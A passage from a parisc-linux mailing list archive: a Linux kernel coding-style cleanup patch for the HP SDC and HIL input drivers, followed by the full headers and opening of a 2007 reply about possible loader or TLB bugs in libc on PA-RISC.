 			act &= ~HP_SDC_ACT_DATAREG;
 			break;
@@ -476,12 +515,13 @@ unsigned long hp_sdc_put(void) {
 		{
 			int i = 0;
 
-			while ((i < 4) && w7[i] == hp_sdc.r7[i]) i++;
+			while ((i < 4) && w7[i] == hp_sdc.r7[i])
+				i++;
 			if (i >= 4) {
 				curr->idx = idx + 1;
 				if ((act & HP_SDC_ACT_DURING) ==
 				    HP_SDC_ACT_DATAREG)
-				        goto actdone;
+					goto actdone;
 			}
 		}
 		goto finish;
@@ -519,64 +559,69 @@ unsigned long hp_sdc_put(void) {
 		goto actdone;
 	}
 
-actdone:
-	if (act & HP_SDC_ACT_SEMAPHORE) {
+ actdone:
+	if (act & HP_SDC_ACT_SEMAPHORE)
 		up(curr->act.semaphore);
-	}
-	else if (act & HP_SDC_ACT_CALLBACK) {
+	else if (act & HP_SDC_ACT_CALLBACK)
 		curr->act.irqhook(0,NULL,0,0);
-	}
+
 	if (curr->idx >= curr->endidx) { /* This transaction is over. */
-		if (act & HP_SDC_ACT_DEALLOC) kfree(curr);
+		if (act & HP_SDC_ACT_DEALLOC)
+			kfree(curr);
 		hp_sdc.tq[curridx] = NULL;
-	}
-	else {
+	} else {
 		curr->actidx = idx + 1;
 		curr->idx = idx + 2;
 	}
 	/* Interleave outbound data between the transactions. */
 	hp_sdc.wcurr++;
-	if (hp_sdc.wcurr >= HP_SDC_QUEUE_LEN) hp_sdc.wcurr = 0;
+	if (hp_sdc.wcurr >= HP_SDC_QUEUE_LEN)
+		hp_sdc.wcurr = 0;
 
  finish:
 	/* If by some quirk IBF has cleared and our ISR has run to
 	   see that that has happened, do it all again. */
-	if (!hp_sdc.ibf && limit++ < 20) goto anew;
+	if (!hp_sdc.ibf && limit++ < 20)
+		goto anew;
 
  done:
-	if (hp_sdc.wcurr >= 0) tasklet_schedule(&hp_sdc.task);
+	if (hp_sdc.wcurr >= 0)
+		tasklet_schedule(&hp_sdc.task);
 	write_unlock(&hp_sdc.lock);
+
 	return 0;
 }
 
 /******* Functions called in either user or kernel context ****/
-int hp_sdc_enqueue_transaction(hp_sdc_transaction *this) {
+int hp_sdc_enqueue_transaction(hp_sdc_transaction *this)
+{
 	unsigned long flags;
 	int i;
 
 	if (this == NULL) {
 		tasklet_schedule(&hp_sdc.task);
 		return -EINVAL;
-	};
+	}
 
 	write_lock_irqsave(&hp_sdc.lock, flags);
 
 	/* Can't have same transaction on queue twice */
-	for (i=0; i < HP_SDC_QUEUE_LEN; i++)
-		if (hp_sdc.tq[i] == this) goto fail;
+	for (i = 0; i < HP_SDC_QUEUE_LEN; i++)
+		if (hp_sdc.tq[i] == this)
+			goto fail;
 
 	this->actidx = 0;
 	this->idx = 1;
 
 	/* Search for empty slot */
-	for (i=0; i < HP_SDC_QUEUE_LEN; i++) {
+	for (i = 0; i < HP_SDC_QUEUE_LEN; i++)
 		if (hp_sdc.tq[i] == NULL) {
 			hp_sdc.tq[i] = this;
 			write_unlock_irqrestore(&hp_sdc.lock, flags);
 			tasklet_schedule(&hp_sdc.task);
 			return 0;
 		}
-	}
+
 	write_unlock_irqrestore(&hp_sdc.lock, flags);
 	printk(KERN_WARNING PREFIX "No free slot to add transaction.\n");
 	return -EBUSY;
@@ -587,7 +632,8 @@ int hp_sdc_enqueue_transaction(hp_sdc_tr
 	return -EINVAL;
 }
 
-int hp_sdc_dequeue_transaction(hp_sdc_transaction *this) {
+int hp_sdc_dequeue_transaction(hp_sdc_transaction *this)
+{
 	unsigned long flags;
 	int i;
 
@@ -595,8 +641,9 @@ int hp_sdc_dequeue_transaction(hp_sdc_tr
 
 	/* TODO: don't remove it if it's not done. */
 
-	for (i=0; i < HP_SDC_QUEUE_LEN; i++)
-		if (hp_sdc.tq[i] == this) hp_sdc.tq[i] = NULL;
+	for (i = 0; i < HP_SDC_QUEUE_LEN; i++)
+		if (hp_sdc.tq[i] == this)
+			hp_sdc.tq[i] = NULL;
 
 	write_unlock_irqrestore(&hp_sdc.lock, flags);
 	return 0;
@@ -605,11 +652,11 @@ int hp_sdc_dequeue_transaction(hp_sdc_tr
 
 
 /********************** User context functions **************************/
-int hp_sdc_request_timer_irq(hp_sdc_irqhook *callback) {
-
-	if (callback == NULL || hp_sdc.dev == NULL) {
+int hp_sdc_request_timer_irq(hp_sdc_irqhook *callback)
+{
+	if (callback == NULL || hp_sdc.dev == NULL)
 		return -EINVAL;
-	}
+
 	write_lock_irq(&hp_sdc.hook_lock);
 	if (hp_sdc.timer != NULL) {
 		write_unlock_irq(&hp_sdc.hook_lock);
@@ -629,11 +676,11 @@ int hp_sdc_request_timer_irq(hp_sdc_irqh
 	return 0;
 }
 
-int hp_sdc_request_hil_irq(hp_sdc_irqhook *callback) {
-
-	if (callback == NULL || hp_sdc.dev == NULL) {
+int hp_sdc_request_hil_irq(hp_sdc_irqhook *callback)
+{
+	if (callback == NULL || hp_sdc.dev == NULL)
 		return -EINVAL;
-	}
+
 	write_lock_irq(&hp_sdc.hook_lock);
 	if (hp_sdc.hil != NULL) {
 		write_unlock_irq(&hp_sdc.hook_lock);
@@ -650,11 +697,11 @@ int hp_sdc_request_hil_irq(hp_sdc_irqhoo
 	return 0;
 }
 
-int hp_sdc_request_cooked_irq(hp_sdc_irqhook *callback) {
-
-	if (callback == NULL || hp_sdc.dev == NULL) {
+int hp_sdc_request_cooked_irq(hp_sdc_irqhook *callback)
+{
+	if (callback == NULL || hp_sdc.dev == NULL)
 		return -EINVAL;
-	}
+
 	write_lock_irq(&hp_sdc.hook_lock);
 	if (hp_sdc.cooked != NULL) {
 		write_unlock_irq(&hp_sdc.hook_lock);
@@ -672,9 +719,8 @@ int hp_sdc_request_cooked_irq(hp_sdc_irq
 	return 0;
 }
 
-int hp_sdc_release_timer_irq(hp_sdc_irqhook *callback) {
-
-
+int hp_sdc_release_timer_irq(hp_sdc_irqhook *callback)
+{
 	write_lock_irq(&hp_sdc.hook_lock);
 	if ((callback != hp_sdc.timer) ||
 	    (hp_sdc.timer == NULL)) {
@@ -694,8 +740,8 @@ int hp_sdc_release_timer_irq(hp_sdc_irqh
 	return 0;
 }
 
-int hp_sdc_release_hil_irq(hp_sdc_irqhook *callback) {
-
+int hp_sdc_release_hil_irq(hp_sdc_irqhook *callback)
+{
 	write_lock_irq(&hp_sdc.hook_lock);
 	if ((callback != hp_sdc.hil) ||
 	    (hp_sdc.hil == NULL)) {
@@ -715,8 +761,8 @@ int hp_sdc_release_hil_irq(hp_sdc_irqhoo
 	return 0;
 }
 
-int hp_sdc_release_cooked_irq(hp_sdc_irqhook *callback) {
-
+int hp_sdc_release_cooked_irq(hp_sdc_irqhook *callback)
+{
 	write_lock_irq(&hp_sdc.hook_lock);
 	if ((callback != hp_sdc.cooked) ||
 	    (hp_sdc.cooked == NULL)) {
@@ -738,7 +784,8 @@ int hp_sdc_release_cooked_irq(hp_sdc_irq
 
 /************************* Keepalive timer task *********************/
 
-void hp_sdc_kicker (unsigned long data) {
+void hp_sdc_kicker (unsigned long data)
+{
 	tasklet_schedule(&hp_sdc.task);
 	/* Re-insert the periodic task. */
 	mod_timer(&hp_sdc.kicker, jiffies + HZ);
@@ -772,7 +819,6 @@ static struct parisc_driver hp_sdc_drive
 
 static int __init hp_sdc_init(void)
 {
-	int i;
 	char *errstr;
 	hp_sdc_transaction t_sync;
 	uint8_t ts_sync[6];
@@ -796,7 +842,8 @@ static int __init hp_sdc_init(void)
 	hp_sdc.r7[3]		= 0xff;
 	hp_sdc.ibf		= 1;
 
-	for (i = 0; i < HP_SDC_QUEUE_LEN; i++) hp_sdc.tq[i] = NULL;
+	memset(&hp_sdc.tq, 0, sizeof(hp_sdc.tq));
+
 	hp_sdc.wcurr		= -1;
         hp_sdc.rcurr		= -1;
 	hp_sdc.rqty		= 0;
@@ -804,25 +851,30 @@ static int __init hp_sdc_init(void)
 	hp_sdc.dev_err = -ENODEV;
 
 	errstr = "IO not found for";
-	if (!hp_sdc.base_io) goto err0;
+	if (!hp_sdc.base_io)
+		goto err0;
 
 	errstr = "IRQ not found for";
-	if (!hp_sdc.irq) goto err0;
+	if (!hp_sdc.irq)
+		goto err0;
 
 	hp_sdc.dev_err = -EBUSY;
 
 #if defined(__hppa__)
 	errstr = "IO not available for";
-        if (request_region(hp_sdc.data_io, 2, hp_sdc_driver.name)) goto err0;
+        if (request_region(hp_sdc.data_io, 2, hp_sdc_driver.name))
+		goto err0;
 #endif	
 
 	errstr = "IRQ not available for";
 	if (request_irq(hp_sdc.irq, &hp_sdc_isr, IRQF_SHARED|IRQF_SAMPLE_RANDOM,
-		"HP SDC", &hp_sdc)) goto err1;
+			"HP SDC", &hp_sdc))
+		goto err1;
 
 	errstr = "NMI not available for";
 	if (request_irq(hp_sdc.nmi, &hp_sdc_nmisr, IRQF_SHARED,
-		"HP SDC NMI", &hp_sdc)) goto err2;
+			"HP SDC NMI", &hp_sdc))
+		goto err2;
 
 	printk(KERN_INFO PREFIX "HP SDC at 0x%p, IRQ %d (NMI IRQ %d)\n",
 	       (void *)hp_sdc.base_io, hp_sdc.irq, hp_sdc.nmi);
@@ -861,6 +913,7 @@ static int __init hp_sdc_init(void)
 	printk(KERN_WARNING PREFIX ": %s SDC IO=0x%p IRQ=0x%x NMI=0x%x\n",
 		errstr, (void *)hp_sdc.base_io, hp_sdc.irq, hp_sdc.nmi);
 	hp_sdc.dev = NULL;
+
 	return hp_sdc.dev_err;
 }
 
@@ -868,8 +921,10 @@ static int __init hp_sdc_init(void)
 
 static int __init hp_sdc_init_hppa(struct parisc_device *d)
 {
-	if (!d) return 1;
-	if (hp_sdc.dev != NULL) return 1;	/* We only expect one SDC */
+	if (!d)
+		return 1;
+	if (hp_sdc.dev != NULL)
+		return 1;	/* We only expect one SDC */
 
 	hp_sdc.dev		= d;
 	hp_sdc.irq		= d->irq;
@@ -906,8 +961,6 @@ static void hp_sdc_exit(void)
 
 	tasklet_kill(&hp_sdc.task);
 
-/*        release_region(hp_sdc.data_io, 2); */
-
 #if defined(__hppa__)
 	if (unregister_parisc_driver(&hp_sdc_driver))
 		printk(KERN_WARNING PREFIX "Error unregistering HP SDC");
@@ -979,7 +1032,7 @@ static int __init hp_sdc_register(void)
 	}
 	hp_sdc.r11 = tq_init_seq[4];
 	if (hp_sdc.r11 & HP_SDC_CFG_NEW) {
-		char *str;
+		const char *str;
 		printk(KERN_INFO PREFIX "New style SDC\n");
 		tq_init_seq[1] = HP_SDC_CMD_READ_XTD;
 		tq_init.actidx		= 0;
@@ -995,12 +1048,10 @@ static int __init hp_sdc_register(void)
 		hp_sdc.r7e = tq_init_seq[4];
 		HP_SDC_XTD_REV_STRINGS(hp_sdc.r7e & HP_SDC_XTD_REV, str)
 		printk(KERN_INFO PREFIX "Revision: %s\n", str);
-		if (hp_sdc.r7e & HP_SDC_XTD_BEEPER) {
+		if (hp_sdc.r7e & HP_SDC_XTD_BEEPER)
 			printk(KERN_INFO PREFIX "TI SN76494 beeper present\n");
-		}
-		if (hp_sdc.r7e & HP_SDC_XTD_BBRTC) {
+		if (hp_sdc.r7e & HP_SDC_XTD_BBRTC)
 			printk(KERN_INFO PREFIX "OKI MSM-58321 BBRTC present\n");
-		}
 		printk(KERN_INFO PREFIX "Spunking the self test register to force PUP "
 		       "on next firmware reset.\n");
 		tq_init_seq[0] = HP_SDC_ACT_PRECMD |
@@ -1015,11 +1066,9 @@ static int __init hp_sdc_register(void)
 		hp_sdc_enqueue_transaction(&tq_init);		
 		down(&tq_init_sem);
 		up(&tq_init_sem);
-	}
-	else {
+	} else
 		printk(KERN_INFO PREFIX "Old style SDC (1820-%s).\n",
 		       (hp_sdc.r11 & HP_SDC_CFG_REV) ? "3300" : "2564/3087");
-	}
 
         return 0;
 }
diff --git a/drivers/input/serio/hp_sdc_mlc.c b/drivers/input/serio/hp_sdc_mlc.c
index 37b44c9..a87c453 100644
--- a/drivers/input/serio/hp_sdc_mlc.c
+++ b/drivers/input/serio/hp_sdc_mlc.c
@@ -59,11 +59,12 @@ struct hp_sdc_mlc_priv_s {
 
 /************************* Interrupt context ******************************/
 static void hp_sdc_mlc_isr (int irq, void *dev_id,
-			    uint8_t status, uint8_t data) {
+			    uint8_t status, uint8_t data)
+{
   	int idx;
 	hil_mlc *mlc = &hp_sdc_mlc;
 
-	write_lock(&(mlc->lock));
+	write_lock(&mlc->lock);
 	if (mlc->icount < 0) {
 		printk(KERN_WARNING PREFIX "HIL Overflow!\n");
 		up(&mlc->isem);
@@ -73,18 +74,19 @@ static void hp_sdc_mlc_isr (int irq, voi
 	if ((status & HP_SDC_STATUS_IRQMASK) == HP_SDC_STATUS_HILDATA) {
 		mlc->ipacket[idx] |= data | HIL_ERR_INT;
 		mlc->icount--;
-		if (hp_sdc_mlc_priv.got5x) goto check;
-		if (!idx) goto check;
+		if (hp_sdc_mlc_priv.got5x || !idx)
+			goto check;
 		if ((mlc->ipacket[idx-1] & HIL_PKT_ADDR_MASK) !=
 		    (mlc->ipacket[idx] & HIL_PKT_ADDR_MASK)) {
 			mlc->ipacket[idx] &= ~HIL_PKT_ADDR_MASK;
 			mlc->ipacket[idx] |= (mlc->ipacket[idx-1]
-						    & HIL_PKT_ADDR_MASK);
+						& HIL_PKT_ADDR_MASK);
 		}
 		goto check;
 	}
 	/* We know status is 5X */
-	if (data & HP_SDC_HIL_ISERR) goto err;
+	if (data & HP_SDC_HIL_ISERR)
+		goto err;
 	mlc->ipacket[idx] =
 		(data & HP_SDC_HIL_R1MASK) << HIL_PKT_ADDR_SHIFT;
 	hp_sdc_mlc_priv.got5x = 1;
@@ -92,54 +94,64 @@ static void hp_sdc_mlc_isr (int irq, voi
 
  check:
 	hp_sdc_mlc_priv.got5x = 0;
-	if (mlc->imatch == 0) goto done;
+	if (mlc->imatch == 0)
+		goto done;
 	if ((mlc->imatch == (HIL_ERR_INT | HIL_PKT_CMD | HIL_CMD_POL))
-	    && (mlc->ipacket[idx] == (mlc->imatch | idx))) goto done;
-	if (mlc->ipacket[idx] == mlc->imatch) goto done;
+	    && (mlc->ipacket[idx] == (mlc->imatch | idx)))
+		goto done;
+	if (mlc->ipacket[idx] == mlc->imatch)
+		goto done;
 	goto out;
 
  err:				
 	printk(KERN_DEBUG PREFIX "err code %x\n", data);
+
 	switch (data) {
 	case HP_SDC_HIL_RC_DONE:
 		printk(KERN_WARNING PREFIX "Bastard SDC reconfigured loop!\n");
 		break;
+
 	case HP_SDC_HIL_ERR:
 		mlc->ipacket[idx] |= HIL_ERR_INT | HIL_ERR_PERR |
-		  HIL_ERR_FERR | HIL_ERR_FOF;
+					HIL_ERR_FERR | HIL_ERR_FOF;
 		break;
+
 	case HP_SDC_HIL_TO:
 		mlc->ipacket[idx] |= HIL_ERR_INT | HIL_ERR_LERR;
 		break;
+
 	case HP_SDC_HIL_RC:
 		printk(KERN_WARNING PREFIX "Bastard SDC decided to reconfigure loop!\n");
 		break;
+
 	default:
 		printk(KERN_WARNING PREFIX "Unkown HIL Error status (%x)!\n", data);
 		break;
 	}
+
 	/* No more data will be coming due to an error. */
  done:
 	tasklet_schedule(mlc->tasklet);
-	up(&(mlc->isem));
+	up(&mlc->isem);
  out:
-	write_unlock(&(mlc->lock));
+	write_unlock(&mlc->lock);
 }
 
 
 /******************** Tasklet or userspace context functions ****************/
 
-static int hp_sdc_mlc_in (hil_mlc *mlc, suseconds_t timeout) {
+static int hp_sdc_mlc_in(hil_mlc *mlc, suseconds_t timeout)
+{
 	unsigned long flags;
 	struct hp_sdc_mlc_priv_s *priv;
 	int rc = 2;
 
 	priv = mlc->priv;
 
-	write_lock_irqsave(&(mlc->lock), flags);
+	write_lock_irqsave(&mlc->lock, flags);
 
 	/* Try to down the semaphore */
-	if (down_trylock(&(mlc->isem))) {
+	if (down_trylock(&mlc->isem)) {
 		struct timeval tv;
 		if (priv->emtestmode) {
 			mlc->ipacket[0] =
@@ -152,55 +164,54 @@ static int hp_sdc_mlc_in (hil_mlc *mlc, 
 			goto wasup;
 		}
 		do_gettimeofday(&tv);
-		tv.tv_usec += 1000000 * (tv.tv_sec - mlc->instart.tv_sec);
+		tv.tv_usec += USEC_PER_SEC * (tv.tv_sec - mlc->instart.tv_sec);
 		if (tv.tv_usec - mlc->instart.tv_usec > mlc->intimeout) {
-		  /*		  printk("!%i %i",
-				  tv.tv_usec - mlc->instart.tv_usec,
-				  mlc->intimeout);
-		  */
+			/*	printk("!%i %i",
+				tv.tv_usec - mlc->instart.tv_usec,
+				mlc->intimeout);
+			 */
 			rc = 1;
-			up(&(mlc->isem));
+			up(&mlc->isem);
 		}
 		goto done;
 	}
  wasup:
-	up(&(mlc->isem));
+	up(&mlc->isem);
 	rc = 0;
 	goto done;
  done:
-	write_unlock_irqrestore(&(mlc->lock), flags);
+	write_unlock_irqrestore(&mlc->lock, flags);
 	return rc;
 }
 
-static int hp_sdc_mlc_cts (hil_mlc *mlc) {
+static int hp_sdc_mlc_cts(hil_mlc *mlc)
+{
 	struct hp_sdc_mlc_priv_s *priv;
 	unsigned long flags;
 
 	priv = mlc->priv;	
 
-	write_lock_irqsave(&(mlc->lock), flags);
+	write_lock_irqsave(&mlc->lock, flags);
 
 	/* Try to down the semaphores -- they should be up. */
-	if (down_trylock(&(mlc->isem))) {
-		BUG();
-		goto busy;
-	}
-	if (down_trylock(&(mlc->osem))) {
-	 	BUG();
-		up(&(mlc->isem));
-		goto busy;
-	}
-	up(&(mlc->isem));
-	up(&(mlc->osem));
+	BUG_ON(down_trylock(&mlc->isem));
+	BUG_ON(down_trylock(&mlc->osem));
 
-	if (down_trylock(&(mlc->csem))) {
-		if (priv->trans.act.semaphore != &(mlc->csem)) goto poll;
-		goto busy;
+	up(&mlc->isem);
+	up(&mlc->osem);
+
+	if (down_trylock(&mlc->csem)) {
+		if (priv->trans.act.semaphore != &mlc->csem)
+			goto poll;
+		else
+			goto busy;
 	}
-	if (!(priv->tseq[4] & HP_SDC_USE_LOOP)) goto done;
+
+	if (!(priv->tseq[4] & HP_SDC_USE_LOOP))
+		goto done;
 
  poll:
-	priv->trans.act.semaphore = &(mlc->csem);
+	priv->trans.act.semaphore = &mlc->csem;
 	priv->trans.actidx = 0;
 	priv->trans.idx = 1;
 	priv->trans.endidx = 5;
@@ -210,48 +221,44 @@ static int hp_sdc_mlc_cts (hil_mlc *mlc)
 	priv->tseq[2] = 1;
 	priv->tseq[3] = 0;
 	priv->tseq[4] = 0;
-	hp_sdc_enqueue_transaction(&(priv->trans));
+	hp_sdc_enqueue_transaction(&priv->trans);
  busy:
-	write_unlock_irqrestore(&(mlc->lock), flags);
+	write_unlock_irqrestore(&mlc->lock, flags);
 	return 1;
  done:
-	priv->trans.act.semaphore = &(mlc->osem);
-	up(&(mlc->csem));
-	write_unlock_irqrestore(&(mlc->lock), flags);
+	priv->trans.act.semaphore = &mlc->osem;
+	up(&mlc->csem);
+	write_unlock_irqrestore(&mlc->lock, flags);
 	return 0;
 }
 
-static void hp_sdc_mlc_out (hil_mlc *mlc) {
+static void hp_sdc_mlc_out(hil_mlc *mlc)
+{
 	struct hp_sdc_mlc_priv_s *priv;
 	unsigned long flags;
 
 	priv = mlc->priv;
 
-	write_lock_irqsave(&(mlc->lock), flags);
+	write_lock_irqsave(&mlc->lock, flags);
 	
 	/* Try to down the semaphore -- it should be up. */
-	if (down_trylock(&(mlc->osem))) {
-	 	BUG();
-		goto done;
-	}
+	BUG_ON(down_trylock(&mlc->osem));
 
-	if (mlc->opacket & HIL_DO_ALTER_CTRL) goto do_control;
+	if (mlc->opacket & HIL_DO_ALTER_CTRL)
+		goto do_control;
 
  do_data:
 	if (priv->emtestmode) {
-		up(&(mlc->osem));
+		up(&mlc->osem);
 		goto done;
 	}
 	/* Shouldn't be sending commands when loop may be busy */
-	if (down_trylock(&(mlc->csem))) {
-	 	BUG();
-		goto done;
-	}
-	up(&(mlc->csem));
+	BUG_ON(down_trylock(&mlc->csem));
+	up(&mlc->csem);
 
 	priv->trans.actidx = 0;
 	priv->trans.idx = 1;
-	priv->trans.act.semaphore = &(mlc->osem);
+	priv->trans.act.semaphore = &mlc->osem;
 	priv->trans.endidx = 6;
 	priv->tseq[0] =
 		HP_SDC_ACT_DATAREG | HP_SDC_ACT_POSTCMD | HP_SDC_ACT_SEMAPHORE;
@@ -264,7 +271,8 @@ static void hp_sdc_mlc_out (hil_mlc *mlc
 		(mlc->opacket & HIL_PKT_DATA_MASK)
 		  >> HIL_PKT_DATA_SHIFT;
 	priv->tseq[4] = 0;  /* No timeout */
-	if (priv->tseq[3] == HIL_CMD_DHR) priv->tseq[4] = 1;
+	if (priv->tseq[3] == HIL_CMD_DHR)
+		priv->tseq[4] = 1;
 	priv->tseq[5] = HP_SDC_CMD_DO_HIL;
 	goto enqueue;
 
@@ -274,11 +282,12 @@ static void hp_sdc_mlc_out (hil_mlc *mlc
 	/* we cannot emulate this, it should not be used. */
 	BUG_ON((mlc->opacket & (HIL_CTRL_APE | HIL_CTRL_IPF)) == HIL_CTRL_APE);
 	
-	if ((mlc->opacket & HIL_CTRL_ONLY) == HIL_CTRL_ONLY) goto control_only;
-	if (mlc->opacket & HIL_CTRL_APE) {
-		BUG(); /* Should not send command/data after engaging APE */
-		goto done;
-	}
+	if ((mlc->opacket & HIL_CTRL_ONLY) == HIL_CTRL_ONLY)
+		goto control_only;
+
+	/* Should not send command/data after engaging APE */
+	BUG_ON(mlc->opacket & HIL_CTRL_APE);
+
 	/* Disengaging APE this way would not be valid either since
 	 * the loop must be allowed to idle.
 	 *
@@ -290,22 +299,22 @@ static void hp_sdc_mlc_out (hil_mlc *mlc
  control_only:
 	priv->trans.actidx = 0;
 	priv->trans.idx = 1;
-	priv->trans.act.semaphore = &(mlc->osem);
+	priv->trans.act.semaphore = &mlc->osem;
 	priv->trans.endidx = 4;
 	priv->tseq[0] =
 	  HP_SDC_ACT_PRECMD | HP_SDC_ACT_DATAOUT | HP_SDC_ACT_SEMAPHORE;
 	priv->tseq[1] = HP_SDC_CMD_SET_LPC;
 	priv->tseq[2] = 1;
-	//	priv->tseq[3] = (mlc->ddc + 1) | HP_SDC_LPS_ACSUCC;
+	/* priv->tseq[3] = (mlc->ddc + 1) | HP_SDC_LPS_ACSUCC; */
 	priv->tseq[3] = 0;
 	if (mlc->opacket & HIL_CTRL_APE) {
 		priv->tseq[3] |= HP_SDC_LPC_APE_IPF;
-		down_trylock(&(mlc->csem));
+		down_trylock(&mlc->csem);
 	}
  enqueue:
-	hp_sdc_enqueue_transaction(&(priv->trans));
+	hp_sdc_enqueue_transaction(&priv->trans);
  done:
-	write_unlock_irqrestore(&(mlc->lock), flags);
+	write_unlock_irqrestore(&mlc->lock, flags);
 }
 
 static int __init hp_sdc_mlc_init(void)
@@ -316,7 +325,7 @@ static int __init hp_sdc_mlc_init(void)
 
 	hp_sdc_mlc_priv.emtestmode = 0;
 	hp_sdc_mlc_priv.trans.seq = hp_sdc_mlc_priv.tseq;
-	hp_sdc_mlc_priv.trans.act.semaphore = &(mlc->osem);
+	hp_sdc_mlc_priv.trans.act.semaphore = &mlc->osem;
 	hp_sdc_mlc_priv.got5x = 0;
 
 	mlc->cts		= &hp_sdc_mlc_cts;
@@ -336,10 +345,9 @@ static int __init hp_sdc_mlc_init(void)
 	}
 	return 0;
  err1:
-	if (hil_mlc_unregister(mlc)) {
+	if (hil_mlc_unregister(mlc))
 		printk(KERN_ERR PREFIX "Failed to unregister MLC structure with hil_mlc.\n"
 			"This is bad.  Could cause an oops.\n");
-	}
  err0:
 	return -EBUSY;
 }
@@ -347,14 +355,14 @@ static int __init hp_sdc_mlc_init(void)
 static void __exit hp_sdc_mlc_exit(void)
 {
 	hil_mlc *mlc = &hp_sdc_mlc;
-	if (hp_sdc_release_hil_irq(&hp_sdc_mlc_isr)) {
+
+	if (hp_sdc_release_hil_irq(&hp_sdc_mlc_isr))
 		printk(KERN_ERR PREFIX "Failed to release the raw HIL ISR hook.\n"
 			"This is bad.  Could cause an oops.\n");
-	}
-	if (hil_mlc_unregister(mlc)) {
+
+	if (hil_mlc_unregister(mlc))
 		printk(KERN_ERR PREFIX "Failed to unregister MLC structure with hil_mlc.\n"
 			"This is bad.  Could cause an oops.\n");
-	}
 }
 
 module_init(hp_sdc_mlc_init);
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Mon, 19 Feb 2007 23:49:49 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200702200449.l1K4nn04019104__27377.883034251$1416624307$gmane$org@hiauly1.hia.nrc.ca>
References: <20070219182112.GA32148@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624307 22998 80.91.229.3 (22 Nov 2014 02:45:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Feb 2007 04:50:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 20 Feb 2007 05:50:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F9257DC51;
	Mon, 19 Feb 2007 21:49:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18102-08; Mon, 19 Feb 2007 21:49:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D277A7DC52;
	Mon, 19 Feb 2007 21:49:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 774917DC50
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 21:49:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18102-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 21:49:50 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B2EEA7DC4F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 21:49:50 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1K4nnAB019105;
	Mon, 19 Feb 2007 23:49:50 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1K4nn04019104;
	Mon, 19 Feb 2007 23:49:49 -0500 (EST)
In-Reply-To: <20070219182112.GA32148@athena.road.mcmartin.ca> from "Kyle
	McMartin" at Feb 19, 2007 01:21:12 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yUvvdBMDbUkosOnGPWgnxIJkZ2hlN8pK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24381

> Keep in mind James pointed out that while he fixed the primary source of
> corruption, there still might be second-order problems...

There's always bugs...

While this might be a kernel TLB management problem, there's no strong
evidence of that and I wouldn't automatically assign the problem to the
pa8800 bug black hole.  This could just as easily be a bug in the dynamic
loader.  The system now runs for weeks with only occasional problems in
